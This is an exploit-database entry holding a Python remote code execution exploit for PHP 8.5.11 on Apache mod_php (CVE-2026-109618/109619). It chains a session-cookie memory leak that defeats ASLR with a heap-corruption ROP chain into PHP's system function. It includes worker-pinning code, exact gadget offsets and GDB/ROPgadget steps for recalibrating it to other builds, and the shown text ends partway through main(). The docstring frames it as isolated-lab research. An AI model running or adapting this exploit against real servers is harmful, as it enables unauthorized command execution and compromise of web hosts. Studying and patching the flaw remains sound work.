PHP2Shell (CVE-2026-109618) - PHP core versions after v5.4 - RCE
Author: OffSec
type: remote
platform: php
port: 0
date_added: 2026-10-22
date_updated: 2026-10-26
verified: 1
codes: CVE-2026-109618
tags:
aliases:
screenshot_url:
application_url:
#!/usr/bin/env python3
"""PHP2Shell RCE chain for PHP 8.5.11 apache/mod_php.
Usage: python3 exploit.py --host TARGET --rce 'id>/var/www/html/proof.txt'
Purpose and vulnerability mechanisms
====================================
This is a pure-HTTP, application-independent research exploit for an isolated
lab. Its default endpoint is ``/index.php`` and is configurable with
``--path``. With no ``--rce`` it stops after reproducing the overlong
``Set-Cookie`` disclosure. With ``--rce [COMMAND]`` it composes two distinct PHP
memory-safety mechanisms. Bare ``--rce`` runs the documented default and
verifies ``/proof.txt``; a custom command is delivered without claiming that
its execution was verified.
1. The A1/B1 disclosure is derived from 9bie's cross-request session-state
chain. An upload-progress request reaches an OOM bailout before request
state is safely reset; a later request in the *same mod_php child* consumes
the stale ``PS(id)`` and encodes an attacker-forged ``zend_string`` into the
session cookie. This is strongest-fit **CVE-2026-109619** behavior: request-
owned session globals outlive their backing request heap. OOM is the
producer, but the security boundary crossed by this stage is request
lifetime. This is mechanism-based attribution, not a CNA reassignment of
any individual public PoC.
2. The optional final sink is adapted from Cookiengineer's OOM RCE. Multipart
amplification exhausts the stock 128 MiB heap while
``_zend_hash_str_add_or_update_i()`` has counted but not initialized its
final ``HashTable`` bucket. Same-request shutdown walks the incomplete
bucket into a forged object, a libphp-only ``jump_fcontext`` ROP chain, and
``zif_system``. This is the incomplete-state/cleanup mechanism of
**CVE-2026-109618**.
Worker discovery, chunked transfer, prefork saturation, the full-pool scrub,
and the clean holder rebind are delivery/affinity techniques, not additional
CVEs. The scrub exists because the validated Apache environment can retain
children already marked for graceful retirement when its IPv6 listener wakeup
fails; without it, a second invocation may place A1 and B1 in different
processes. The post-scrub repin is concurrent so VPN latency cannot recreate
an idle-surplus window. Debugger mappings were used only to calibrate and
independently verify the constants below; successful end-to-end runs derive
their live bases from the HTTP cookie.
Validated exact environment (2026-10-23)
========================================
This profile is intentionally build-specific. Recalibrate all offsets and
heap geometry for any other binary, compiler flags, module set, architecture,
or loader layout.
* PHP 8.5.11 NTS, Zend Engine 4.5.11, source tag ``php-8.5.11``:
annotated tag object ``597eb0b4e32cc8802e112fe13cc92fb5636a1781``;
peeled source commit ``678778973bb4d4185c06ef1320de50f1a975d3c8``.
* Official ``php-8.5.11.tar.xz`` SHA-256:
``d9be75c08e8c316f4c8f4194d8fbe1750a15f6a6d9d4e3fe72082abeeb800360``.
* Source build flags: ``-O2 -g -fno-omit-frame-pointer
-fcf-protection=none``; Apache 2.4.66 (Ubuntu) ``mod_php``/prefork on
x86-64; glibc 2.43 (Ubuntu ``2.43-2ubuntu2.4``); validation kernel
``Linux 7.0.0-38-generic``.
* ``/usr/lib/apache2/modules/libphp.so`` SHA-256:
``ecd97e302e8cb3fd106c0541410256ad6597cb6410166beee0ab773ff4974b36``;
GNU Build ID ``c01226a7f67b3226c1d2f81f4fc5041846914117``.
* ASLR enabled (``kernel.randomize_va_space=2``), Apache defaults including
``StartServers=5`` and ``MaxRequestWorkers=150``, and unmodified upstream
``php.ini-production``: ``memory_limit=128M``, ``post_max_size=8M``,
``upload_max_filesize=2M``, ``max_file_uploads=20``,
``max_input_vars=1000``, ``max_input_nesting_level=64``, error display off,
logging on, and session upload progress plus cleanup enabled.
* Exact module offsets: ``zval_ptr_dtor=0x7ae960``,
``zif_system=0x598650``, ``jump_fcontext+0x2e=0x6362ae``,
``pop rdi; ret=0x280d8d``, ``pop rsi; ret=0x2cbe07``, and
alignment ``ret=0x280d8e``.
* Exact heap/layout constants: Zend main chunk ``libphp+0x3400000``;
post-disclosure controlled block ``main+0x5c400``; stale-ID forge page
``0x1e3``; 402,500 duplicate multipart headers for the stock-128M sink.
* The combined upstream fix used for source comparison is php-src commit
``506e87fa7dcdd306975e5b8f8265ee03527aacbf`` ("Avoid state corruption via
bailout"), released in the patched 8.5.12/8.4.27/8.3.30/8.2.29 lines.
Recalibrating a different build
===============================
Never transplant the constants above based only on ``PHP_VERSION``. Preserve
the candidate module first, record its identity, and do all debugger work in
an isolated copy of the target environment. For example::
LIBPHP=/usr/lib/apache2/modules/libphp.so
sha256sum "$LIBPHP"
readelf -n "$LIBPHP" | grep 'Build ID'
readelf -lW "$LIBPHP" # record executable PT_LOAD ranges
nm -an "$LIBPHP" | grep -wE 'zval_ptr_dtor|zif_system|jump_fcontext'
``nm`` values are image-relative because this module is ET_DYN. The pivot is
``jump_fcontext+0x2e`` only after disassembly confirms the same instruction
sequence. Find and inspect ROP gadgets rather than copying byte offsets::
ROPgadget --binary "$LIBPHP" --only 'pop|ret' | \
grep -E 'pop rdi ; ret$|pop rsi ; ret$|: ret$'
objdump -d -M intel "$LIBPHP" | less
Verify every chosen gadget lies in an executable ``PT_LOAD`` and inspect its
surrounding instructions. If normal symbols are stripped, use the matching
debug file/build ID with ``readelf -Ws`` or GDB; do not derive offsets from a
different package that merely reports the same PHP version.
To recalibrate the disclosure, run a fresh debug child with the same INI and
modules, pause the selected rebound worker, map its client port to a PID with
``ss -tnp``, and attach GDB. A convenient driver form is::
python3 exploit.py --host TARGET --port 80 --path /index.php \
--pause-after-rebind 60
# Read new_port from the log on the target, then:
ss -tnp sport = :80 dport = :NEW_PORT
gdb -q -p CHILD_PID
(gdb) break php_url_encode
(gdb) continue
(gdb) p/x ps_globals.id
(gdb) p/x ((unsigned long)ps_globals.id & 0x1fffff) >> 12
(gdb) p ps_globals.send_cookie
The second GDB expression is the ID page; use it as ``--forge-page``. Sweep
the A1 query/burner/progress lengths and B1 ``G``/``X`` geometry
until GDB shows OOM in ``php_url_encode()``, ``PS(send_cookie)=1``, and the B1
cookie contains a highly repeated pointer that resolves exactly to the new
``zval_ptr_dtor``. Confirm the derived module base against mappings only
*after* the HTTP result; mappings must never be an exploit input.
Measure the module-to-main-chunk delta in several fresh ASLR parent lifetimes.
With symbols loaded in GDB, compute the module base from a known symbol and
align the Zend heap pointer to its 2 MiB chunk::
set $libphp = (unsigned long)&zval_ptr_dtor - NEW_DTOR_OFFSET
set $main = (unsigned long)alloc_globals.mm_heap & ~0x1fffffUL
p/x $libphp
p/x $main
p/x $main - $libphp
Accept the delta only if it repeats for independently started Apache parents
and the leaked cookie contains pointers in the derived main-chunk bucket.
Finally recalibrate the 109618 sink *after the complete A1/B1 history*, not on
a virgin worker. Use ``--pause-before-rce``, attach the selected debug child,
and break on
``zend_mm_safe_error``, ``_zend_hash_str_add_or_update_i``, and
``zend_array_destroy``, and identify the shutdown table with ``nNumUsed=46``.
For this payload layout the controlled block is ``arData-0x200``; subtract the
aligned main-chunk base to obtain ``--rce-block-offset``. Sweep
``--rce-headers`` around the OOM boundary until the failed allocation is the
80,000-byte key's 81,920-byte allocation and the incomplete bucket contains
the forged object. Recheck the pivot, fake handlers, ROP registers, and entry
to ``zif_system`` in GDB, then validate without a debugger using a fresh,
unique proof name. Repeat under a new ASLR parent and run twice without an
Apache restart before treating the profile as usable.
Direct lineage and credits
==========================
Credit belongs to the original researchers and repositories. This local
composition, retuning, worker scrub, and validation do not replace their
copyright or licensing terms.
* **9bie**, ``php2shell-bypass-aslr-exp`` commit
``17e98ee81025cccfd94b4f9c9a17bf269c65ff75``: A1/B1 session-state OOM,
forged-cookie disclosure geometry, worker occupancy, and the original
ASLR-on chain. The local 8.5.11 port widens its overly narrow ``0x7f``
pointer floor and retunes the heap geometry.
* **dinosn**, ``php-cve-2026-10961x-lab-poc`` commit
``b1e419912219691417c72b122f6eb410b938eee7``: instrumented CVE controls,
Ninebie-class porting, stock-configuration experiments, offset/profile work,
and worker-saturation research used as comparison and calibration guidance.
* **Cookiengineer**, ``actual-php2shell`` commit
``1d5208ba5090cbbc56a091f6607996c3bbb21171``: the independently validated
CVE-2026-109618 incomplete-bucket/object-destruction RCE sink. The local
adapter amplifies it to 128 MiB and replaces libc-dependent ROP with gadgets
and ``zif_system`` from this exact libphp image.
Other reviewed/referenced public PoCs (not direct code lineage for this file)
are credited to **Eness** (``php2shell-CVE-2026-109618-CVE-2026-109619-PoC``,
``df8b16fe69ab7218f496b5d88127253fc90ff92e``), **0x4148**
(``CVE-2026-109618-php2shell-lab``,
``bc40fb2c96d5e92121e6bf8b996f7ba3ad057413``), **Ikow**
(``php2shell-poc``, ``31519e6d8a84dee1df1262961ed1bebb65accadd``),
**Murrez** (``php2shell``, ``e62535936b5fb1d013f8f52832df8c740c88e672``),
and **Syrex1013** (``php2shell``,
``2b14725288c519380810fb057b214889eea9ee76``).
Those revision identifiers are included here so this file retains its own
provenance when copied outside the original research tree.
"""
from __future__ import annotations
import argparse
from collections import Counter
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass, field
from pathlib import Path
import socket
import struct
import sys
import tempfile
import threading
import time
import urllib.parse
def print(*values: object, sep: str = " ", end: str = "\n",
file: object | None = None, flush: bool = False) -> None:
"""Print every logical line with an epoch timestamp to microseconds."""
stream = file if file is not None else sys.stdout
payload = sep.join(str(value) for value in values) + end
for line in payload.splitlines(keepends=True):
now = time.time_ns()
stamp = f"{now // 1_000_000_000}.{(now // 1_000) % 1_000_000:06d}"
stream.write(f"[{stamp}] {line}")
# Logs are used to coordinate long-running worker-affinity diagnostics.
stream.flush()
DEFAULT_QUERY = (
"?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v"
"&z=vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv"
)
TARGET_PATH = "/index.php"
DEFAULT_RCE_COMMAND = "id>/var/www/html/proof.txt"
DEFAULT_RCE_PROOF_URL = "/proof.txt"
MULTIPART_BOUNDARY = b"C" * 10
RCE_BOUNDARY = b"AMP128BOUNDARY"
IS_OBJECT = 8
def build_a1_body(path: Path, args: argparse.Namespace) -> None:
"""Build the END-cleanup send-cookie OOM request body."""
parts = 860
depth = 64
key_pad = 90
big_len = 8000
boundary = MULTIPART_BOUNDARY
out = bytearray()
def nested_name(index: int) -> bytes:
return (("files[R%05d%s]" % (index, "K" * key_pad)).encode()
+ b"[a]" * (depth - 2))
def part(name: bytes, value: bytes = b"", filename: bytes | None = None,
content_type: bytes | None = None) -> None:
out.extend(b"--" + boundary
+ b"\r\nContent-Disposition: form-data; name=\""
+ name + b"\"")
if filename is not None:
out.extend(b"; filename=\"" + filename + b"\"")
out.extend(b"\r\n")
if content_type is not None:
out.extend(b"Content-Type: " + content_type + b"\r\n")
out.extend(b"\r\n" + value + b"\r\n")
part(b"PHPSESSID", b"\x00")
for index in range(parts):
if index == 0:
content_type = b"C" * 103
elif index == 1:
content_type = b"C" * 231
else:
content_type = b"application/octet-stream"
out.extend(b"--" + boundary
+ b"\r\nContent-Disposition: form-data; name=\""
+ nested_name(index) + b"\"")
out.extend(b"; filename=\"A\"" if index < 2
else b"; filename=\"\"")
out.extend(b"\r\nContent-Type: " + content_type + b"\r\n\r\n")
for index in range(args.a1_fillers128):
name = ("f%04d" % index).encode().ljust(103, b"x")[:103]
part(name, b"v" * 8)
for index in range(args.a1_big):
part(("b%04d" % index).encode(), b"B" * big_len)
for index in range(args.a1_burners):
part(("u%02d" % index).encode(), b"U" * args.a1_burner_len)
part(b"PHP_SESSION_UPLOAD_PROGRESS", b"k" * args.a1_progress_len)
out.extend(b"--" + boundary + b"--\r\n")
path.write_bytes(out)
count = (2 + parts + args.a1_fillers128 + args.a1_big
+ args.a1_burners)
print(f"body={len(out)} parts={count}")
def leak_tag(index: int, tagged: bool) -> bytes:
return (b"/" + ("%02d" % (index % 100)).encode() + b"BBBBB"
if tagged else b"BBBB/BBB")
def leak_forge_fill_value(pages: int, page: int, fake_len: int,
index: int, tagged: bool) -> bytes:
length = pages * 4096 - 25
value = bytearray(b"A" * length)
header = page * 0x1000 - 0x1018
if 0 <= header and header + 0x20 <= length:
struct.pack_into("<I", value, header, 0)
struct.pack_into("<I", value, header + 4, 0x16)
struct.pack_into("<Q", value, header + 8, 0)
struct.pack_into("<Q", value, header + 0x10, fake_len)
value[header + 0x18:header + 0x20] = leak_tag(index, tagged)
return bytes(value)
def build_leak_body(path: Path, args: argparse.Namespace) -> None:
"""Build the B1 reclaim body and forged zend_string headers."""
fake_len = args.fake_len
out = bytearray()
def part(name: bytes, value: bytes) -> None:
out.extend(b"--" + MULTIPART_BOUNDARY
+ b"\r\nContent-Disposition: form-data; name=\""
+ name + b"\"\r\n\r\n" + value + b"\r\n")
part(b"PHPSESSID", b"a")
part(b"PHP_SESSION_UPLOAD_PROGRESS", b"k0")
index = 0
pages_sequence = [511] * 14 + [args.mid_pages, 511]
for pages in pages_sequence:
value = leak_forge_fill_value(
pages, args.forge_page, fake_len, index, True)
name = (b"f%04d" % index).ljust(120, b"f")[:120]
part(name, value)
index += 1
for _ in range(args.nested_fields):
name = ("x%05d" % index).encode() + b"[a]" * 12
part(name, b"v")
index += 1
out.extend(b"--" + MULTIPART_BOUNDARY + b"--\r\n")
path.write_bytes(out)
print(f"body={len(out)} fields={index} fake_len={fake_len:#x}")
@dataclass
class Holder:
"""A worker-pinning request whose chunk stream can be finished in place."""
sock: socket.socket
feeding: bool = True
lock: threading.Lock = field(default_factory=threading.Lock)
def __getattr__(self, name: str) -> object:
return getattr(self.sock, name)
def close_holder(holder: Holder) -> None:
"""Stop keepalive writes and close a holder without a sender race."""
with holder.lock:
holder.feeding = False
try:
holder.sock.shutdown(socket.SHUT_RDWR)
except OSError:
pass
holder.sock.close()
def open_accepted_holder(host: str, port: int,
timeout: float = 30.0) -> Holder:
"""Open one holder and wait for proof that a child accepted it."""
sock = socket.create_connection((host, port), timeout=timeout)
sock.settimeout(timeout)
sock.sendall(
b"POST " + TARGET_PATH.encode() + b" HTTP/1.1\r\nHost: x\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: keep-alive\r\n"
b"Expect: 100-continue\r\n\r\n"
)
interim = bytearray()
try:
while b"\r\n\r\n" not in interim and len(interim) < 8192:
chunk = sock.recv(8192)
if not chunk:
break
interim.extend(chunk)
if b" 100 Continue\r\n" not in interim:
raise RuntimeError(
f"holder was not accepted by a worker: {bytes(interim[:120])!r}"
)
sock.sendall(b"1\r\nx\r\n")
return Holder(sock)
except BaseException:
sock.close()
raise
def hold_workers_parallel(host: str, port: int, workers: int,
holders: list[Holder]) -> list[Holder]:
"""Repin a known capacity without a VPN-latency retirement window."""
opened: list[Holder] = []
try:
with ThreadPoolExecutor(max_workers=workers) as pool:
futures = [
pool.submit(open_accepted_holder, host, port, 30.0)
for _ in range(workers)
]
for future in as_completed(futures):
opened.append(future.result())
count = len(opened)
if count % 25 == 0 or count == workers:
print(f"[*] accepted holders {count}/{workers} parallel",
flush=True)
except BaseException:
for holder in opened:
close_holder(holder)
raise
holders.extend(opened)
return holders
def discover_worker_pool(host: str, port: int,
holders: list[Holder], max_workers: int,
timeout: float, checks: int) -> int:
"""Fill prefork dynamically until repeated holders remain unaccepted."""
misses = 0
while len(holders) < max_workers:
try:
holders.append(open_accepted_holder(host, port, timeout))
except TimeoutError:
misses += 1
print(f"[*] capacity probe {misses}/{checks} timed out at "
f"{len(holders)} accepted holders", flush=True)
if misses >= checks:
break
time.sleep(1.0)
continue
misses = 0
if len(holders) % 25 == 0:
print(f"[*] accepted holders {len(holders)} (auto)", flush=True)
if not holders or misses < checks:
raise RuntimeError(
f"worker discovery did not find a ceiling below {max_workers}"
)
print(f"[+] discovered MaxRequestWorkers={len(holders)}", flush=True)
return len(holders)
def keep_holders_alive(holders: list[Holder],
stop: threading.Event) -> None:
"""Beat mod_reqtimeout's body minimum-rate check without completing POSTs."""
# Two times Debian/Ubuntu's 500-byte/s default leaves the tunnel mostly
# available to the 33 MiB disclosure request.
block = b"400\r\n" + b"x" * 1024 + b"\r\n"
while not stop.wait(1.0):
for holder in tuple(holders):
try:
with holder.lock:
if holder.feeding:
holder.sock.sendall(block)
except OSError:
pass
def read_content_length_response(sock: socket.socket, timeout: float) -> bytes:
"""Read one keep-alive HTTP response with an explicit Content-Length."""
sock.settimeout(timeout)
response = bytearray()
while b"\r\n\r\n" not in response:
chunk = sock.recv(65536)
if not chunk:
raise ConnectionError("worker closed before response headers")
response.extend(chunk)
if len(response) > 65536:
raise RuntimeError("oversized qualification response headers")
head, body = bytes(response).split(b"\r\n\r\n", 1)
content_length = None
for line in head.split(b"\r\n")[1:]:
name, sep, value = line.partition(b":")
if sep and name.lower() == b"content-length":
content_length = int(value.strip())
break
if content_length is None:
raise RuntimeError("qualification response lacks Content-Length")
while len(body) < content_length:
chunk = sock.recv(min(65536, content_length - len(body)))
if not chunk:
raise ConnectionError("worker closed during response body")
body += chunk
if len(body) != content_length:
raise RuntimeError("qualification response over-read pipelined bytes")
return head + b"\r\n\r\n" + body
def cleanly_release_holder(holder: Holder, host: str, port: int,
path: str, timeout: float) -> None:
"""End a holder without Apache's two-second lingering-close path."""
with holder.lock:
holder.feeding = False
holder.sock.sendall(b"0\r\n\r\n")
first = read_content_length_response(holder.sock, timeout)
if not first.startswith(b"HTTP/1.1 200"):
raise RuntimeError(f"holder completion failed: {first[:80]!r}")
holder.sock.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\nHost: "
+ host.encode() + b":" + str(port).encode()
+ b"\r\nConnection: close\r\n\r\n"
)
second = read_content_length_response(holder.sock, timeout)
if not second.startswith(b"HTTP/1.1 200"):
raise RuntimeError(f"worker close probe failed: {second[:80]!r}")
# Let Apache initiate and finish the advertised close. Closing from the
# client immediately after Content-Length bytes sends the worker through
# its two-second lingering-close path and masks respawn latency.
holder.sock.settimeout(timeout)
while holder.sock.recv(4096):
pass
holder.sock.close()
def scrub_worker_pool(holders: list[Holder], host: str, port: int,
path: str, timeout: float) -> None:
"""Force every pinned prefork child through request completion.
Apache's graceful-stop wakeup is broken when its IPv6 listener is
unreachable, leaving retirement-marked idle children in the pool. Ending
every holder concurrently makes those children observe the flag and exit;
healthy children simply return to accept().
"""
batch = list(holders)
holders.clear()
def release(holder: Holder) -> str | None:
try:
cleanly_release_holder(holder, host, port, path, timeout)
return None
except (OSError, RuntimeError) as exc:
close_holder(holder)
return str(exc)
errors: list[str] = []
with ThreadPoolExecutor(max_workers=len(batch)) as pool:
futures = [pool.submit(release, holder) for holder in batch]
for future in as_completed(futures):
error = future.result()
if error:
errors.append(error)
print(f"[*] scrubbed {len(batch)} workers; early_closes={len(errors)}",
flush=True)
@dataclass
class ChunkedJob:
thread: threading.Thread
errors: list[BaseException]
def start_chunked(host: str, port: int, path: str, body: Path,
response: Path, timeout: float) -> ChunkedJob:
"""Start a streaming chunked request without an external helper."""
errors: list[BaseException] = []
def send() -> None:
body_size = body.stat().st_size
started = time.monotonic()
received = bytearray()
sock: socket.socket | None = None
try:
sock = socket.create_connection((host, port), timeout=timeout)
sock.settimeout(timeout)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\nHost: "
+ host.encode() + b":" + str(port).encode()
+ b"\r\nContent-Type: multipart/form-data; boundary="
+ MULTIPART_BOUNDARY
+ b"\r\nTransfer-Encoding: chunked\r\n"
b"Connection: close\r\n\r\n"
)
with body.open("rb") as stream:
while True:
piece = stream.read(65536)
if not piece:
break
sock.sendall(f"{len(piece):x}\r\n".encode()
+ piece + b"\r\n")
sock.sendall(b"0\r\n\r\n")
while len(received) < 4 << 20:
chunk = sock.recv(65536)
if not chunk:
break
received.extend(chunk)
except OSError as exc:
# A1 and the RCE sink deliberately provoke request termination;
# preserve any response already received, as the original sender
# did, but make a connect failure visible.
if sock is None:
errors.append(exc)
finally:
if sock is not None:
sock.close()
response.write_bytes(received)
status = bytes(received).split(b"\r\n", 1)[0][:60]
print(f"body={body_size} resp={len(received)} "
f"elapsed={time.monotonic() - started:.2f}s "
f"status={status.decode('latin1', 'replace')!r}")
thread = threading.Thread(target=send, name="chunked-request", daemon=True)
thread.start()
return ChunkedJob(thread, errors)
def finish_chunked(job: ChunkedJob, response: Path, timeout: float) -> bytes:
job.thread.join(timeout)
if job.thread.is_alive():
raise TimeoutError("chunked request did not finish")
if job.errors:
raise job.errors[0]
return response.read_bytes()
def cookie_value(response: bytes) -> bytes:
marker = b"Set-Cookie: PHPSESSID="
start = response.find(marker)
if start < 0:
return b""
return response[start + len(marker):].split(b"\r\n", 1)[0]
def summarize_cookie(encoded: bytes, pointer_floor: int) -> dict[str, object]:
decoded = urllib.parse.unquote_to_bytes(encoded.decode("latin1"))
pointers = Counter()
for off in range(0, len(decoded) - 7, 8):
value = struct.unpack_from("<Q", decoded, off)[0]
if pointer_floor <= value <= 0x7FFFFFFFFFFF:
pointers[value] += 1
return {
"decoded": decoded,
"pointers": pointers,
"top": pointers.most_common(20),
}
def pack_u64(value: int) -> bytes:
return struct.pack("<Q", value)
def pack_u32(value: int) -> bytes:
return struct.pack("<I", value)
def build_rce_pad(heap_base: int, libphp_base: int, command: bytes, *,
block_offset: int, pivot_offset: int,
pop_rdi_offset: int, pop_rsi_offset: int,
ret_offset: int, zif_system_offset: int) -> bytes:
"""Build the forged bucket, object, handlers, ROP, and execute_data."""
if len(command) > 48:
raise ValueError("RCE command exceeds the 48-byte carrier")
block = heap_base + block_offset
handlers = block + 24 + 2000
obj = block + 24 + 2048
execute_data = block + 24 + 2240
command_string = execute_data + 0x80
return_value = block + 24 + 2464
pivot = libphp_base + pivot_offset
pop_rdi = libphp_base + pop_rdi_offset
pop_rsi = libphp_base + pop_rsi_offset
ret = libphp_base + ret_offset
zif_system = libphp_base + zif_system_offset
pad = bytearray(b"P" * 2528)
pad[2000:2008] = pack_u64(0)
pad[2008:2016] = pack_u64(pivot)
pad[2016:2024] = pack_u64(ret)
offset = 2048
pad[offset:offset + 4] = pack_u32(1)
pad[offset + 4:offset + 8] = pack_u32(IS_OBJECT)
pad[offset + 8:offset + 12] = pack_u32(0)
pad[offset + 0x10:offset + 0x18] = pack_u64(0)
pad[offset + 0x18:offset + 0x20] = pack_u64(handlers)
pad[offset + 0x20:offset + 0x28] = pack_u64(0)
pad[offset + 0x28:offset + 0x40] = b"\x00" * 24
pad[offset + 0x40:offset + 0x48] = pack_u64(pop_rdi)
pad[offset + 0x48:offset + 0x50] = pack_u64(execute_data)
pad[offset + 0x50:offset + 0x58] = pack_u64(pop_rsi)
pad[offset + 0x58:offset + 0x60] = pack_u64(return_value)
pad[offset + 0x60:offset + 0x68] = pack_u64(ret)
pad[offset + 0x68:offset + 0x70] = pack_u64(zif_system)
pad[offset + 0x70:offset + 0x78] = pack_u64(0)
offset = 2240
pad[offset:offset + 8] = pack_u64(0)
pad[offset + 8:offset + 0x10] = pack_u64(0)
pad[offset + 0x10:offset + 0x18] = pack_u64(return_value)
pad[offset + 0x18:offset + 0x20] = pack_u64(0)
pad[offset + 0x20:offset + 0x28] = pack_u64(0)
pad[offset + 0x28:offset + 0x2C] = pack_u32(0)
pad[offset + 0x2C:offset + 0x30] = pack_u32(1)
pad[offset + 0x30:offset + 0x38] = pack_u64(0)
pad[offset + 0x38:offset + 0x40] = pack_u64(0)
pad[offset + 0x40:offset + 0x44] = pack_u32(0)
pad[offset + 0x50:offset + 0x58] = pack_u64(command_string)
pad[offset + 0x58:offset + 0x5C] = pack_u32(6)
offset += 0x80
pad[offset:offset + 4] = pack_u32(1)
pad[offset + 4:offset + 8] = pack_u32(0x106)
pad[offset + 8:offset + 0x10] = pack_u64(0)
pad[offset + 0x10:offset + 0x18] = pack_u64(len(command) - 1)
pad[offset + 0x18:offset + 0x18 + len(command)] = command
pad[2464:2480] = b"\x00" * 16
pad[1928:1936] = pack_u64(obj)
pad[1936:1940] = pack_u32(IS_OBJECT | 0x100)
pad[1940:1944] = pack_u32(0)
return bytes(pad)
def rce_field(name: bytes, value: bytes) -> bytes:
return (b"--" + RCE_BOUNDARY
+ b"\r\nContent-Disposition: form-data; name=\"" + name
+ b"\"\r\n\r\n" + value + b"\r\n")
def rce_large_key(index: int, size: int) -> bytes:
return b"X" * (size - 16) + (b"%016d" % index)
def build_rce_body(args: argparse.Namespace, heap_base: int,
libphp_base: int, command: str) -> bytes:
pad = build_rce_pad(
heap_base, libphp_base, command.encode() + b"\x00",
block_offset=args.rce_block_offset,
pivot_offset=args.pivot_offset,
pop_rdi_offset=args.pop_rdi_offset,
pop_rsi_offset=args.pop_rsi_offset,
ret_offset=args.ret_offset,
zif_system_offset=args.zif_system_offset,
)
key_size = 80000
body = bytearray()
body += rce_field(b"memshift", b"M" * 40000)
for index in range(30):
body += rce_field(
b"a[" + rce_large_key(index, key_size) + b"][c]", b"v")
body += rce_field(b"pad", pad)
body += rce_field(b"pad", b"x")
for index in range(30, 45):
body += rce_field(
b"a[" + rce_large_key(index, key_size) + b"][c]", b"v")
final_name = b"a[" + rce_large_key(45, key_size) + b"][c]"
body += b"--" + RCE_BOUNDARY + b"\r\n"
body += b"X: a\r\n" * args.rce_headers
body += (b"Content-Disposition: form-data; name=\"" + final_name
+ b"\"\r\n\r\nv\r\n--" + RCE_BOUNDARY + b"--\r\n")
if len(body) >= 8 * 1024 * 1024:
raise ValueError(f"RCE body exceeds production post_max_size: {len(body)}")
return bytes(body)
def http_exchange(host: str, port: int, request: bytes,
timeout: float) -> bytes:
response = bytearray()
try:
sock = socket.create_connection((host, port), timeout=timeout)
except OSError:
return b""
sock.settimeout(timeout)
try:
sock.sendall(request)
while True:
data = sock.recv(65536)
if not data:
break
response.extend(data)
except OSError:
pass
finally:
sock.close()
return bytes(response)
def amplified_rce(args: argparse.Namespace, heap_base: int,
libphp_base: int, command: str,
proof_url: str | None) -> bool | None:
body = build_rce_body(args, heap_base, libphp_base, command)
print(f"[*] wire={len(body)} headers={args.rce_headers}")
request = (
b"POST " + args.path.encode() + b" HTTP/1.1\r\nHost: v\r\n"
b"Content-Type: multipart/form-data; boundary=" + RCE_BOUNDARY
+ b"\r\nContent-Length: " + str(len(body)).encode()
+ b"\r\nConnection: close\r\n\r\n" + body
)
response = http_exchange(args.host, args.port, request, 30.0)
first = response.split(b"\r\n", 1)[0] if response else b"<no response>"
print(f"[*] response={len(response)} first={first!r}")
if proof_url is None:
return None
time.sleep(0.5)
proof = http_exchange(
args.host, args.port,
b"GET " + proof_url.encode()
+ b" HTTP/1.1\r\nHost: v\r\nConnection: close\r\n\r\n",
5.0,
)
_, _, content = proof.partition(b"\r\n\r\n")
if b"uid=" in content:
print("[+] 128M amplified RCE:",
content.decode("utf-8", "replace").strip())
return True
print("[-] no proof")
return False
def main() -> int:
global TARGET_PATH
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=80)
ap.add_argument("--path", default=TARGET_PATH,
help="PHP endpoint used for pinning and exploitation")
ap.add_argument("--pause-before-rce", type=float, default=0.0,
help="debug-only pause after disclosure and before RCE")
ap.add_argument("--timeout", type=float, default=600.0)
ap.add_argument("--pause-after-rebind", type=float, default=0.0,
help="debug-only GDB attach pause on the rebound holder")
ap.add_argument("--a1-big", type=int, default=78)
ap.add_argument("--a1-fillers128", type=int, default=14)
ap.add_argument("--a1-burners", type=int, default=19)
ap.add_argument("--a1-burner-len", type=int, default=4000)
ap.add_argument("--a1-progress-len", type=int, default=4072)
ap.add_argument("--query", default=DEFAULT_QUERY)
ap.add_argument("--forge-page", type=lambda x: int(x, 0), default=0x1E3,
help="page containing the stale session ID")
ap.add_argument("--mid-pages", type=int, default=483,
help="pages in the hole-making G value (default: 483)")
ap.add_argument("--nested-fields", type=int, default=900,
help="nested X fields placed into the tail hole")
ap.add_argument("--fake-len", type=lambda x: int(x, 0), default=0x1C000)
ap.add_argument("--pointer-floor", type=lambda x: int(x, 0),
default=0x6F0000000000)
ap.add_argument("--zval-ptr-dtor-offset", type=lambda x: int(x, 0),
default=0x7AE960)
ap.add_argument(
"--rce", nargs="?", const=DEFAULT_RCE_COMMAND, metavar="COMMAND",
help=("feed the leak into the stock-128M libphp-only sink; default "
f"command: {DEFAULT_RCE_COMMAND!r}; custom commands are "
"delivered without execution verification"))
ap.add_argument("--heap-from-lib-delta", type=lambda x: int(x, 0),
default=0x3400000,
help="exact-image Zend main-chunk delta from libphp")
ap.add_argument("--rce-block-offset", type=lambda x: int(x, 0),
default=0x5C400,
help="controlled block offset after A1/B1 history")
ap.add_argument("--rce-headers", type=int, default=402500)
ap.add_argument("--pivot-offset", type=lambda x: int(x, 0),
default=0x6362AE)
ap.add_argument("--pop-rdi-offset", type=lambda x: int(x, 0),
default=0x280D8D)
ap.add_argument("--pop-rsi-offset", type=lambda x: int(x, 0),
default=0x2CBE07)
ap.add_argument("--ret-offset", type=lambda x: int(x, 0),
default=0x280D8E)
ap.add_argument("--zif-system-offset", type=lambda x: int(x, 0),
default=0x598650)
args = ap.parse_args()
if not args.path.startswith("/"):
args.path = "/" + args.path
TARGET_PATH = args.path
holders: list[Holder] = []
holder_stop = threading.Event()
holder_thread = threading.Thread(
target=keep_holders_alive, args=(holders, holder_stop), daemon=True)
holder_thread.start()
try:
# Over a VPN, opening 150 sockets can exceed mod_reqtimeout's initial
# body window. Start the keeper first so early holders survive while
# later connections are still being established.
effective_workers = discover_worker_pool(
args.host, args.port, holders, 512, 5.0, 2)
scrub_worker_pool(holders, args.host, args.port, args.path, 30.0)
hold_workers_parallel(args.host, args.port, effective_workers, holders)
print(f"[+] repinned scrubbed pool={effective_workers}", flush=True)
queued_release_index = len(holders) - 1
print(f"[*] pinned {len(holders)}/{effective_workers} workers")
with tempfile.TemporaryDirectory(prefix="ninebie-8511-") as tmp_s:
tmp = Path(tmp_s)
a1 = tmp / "a1.bin"
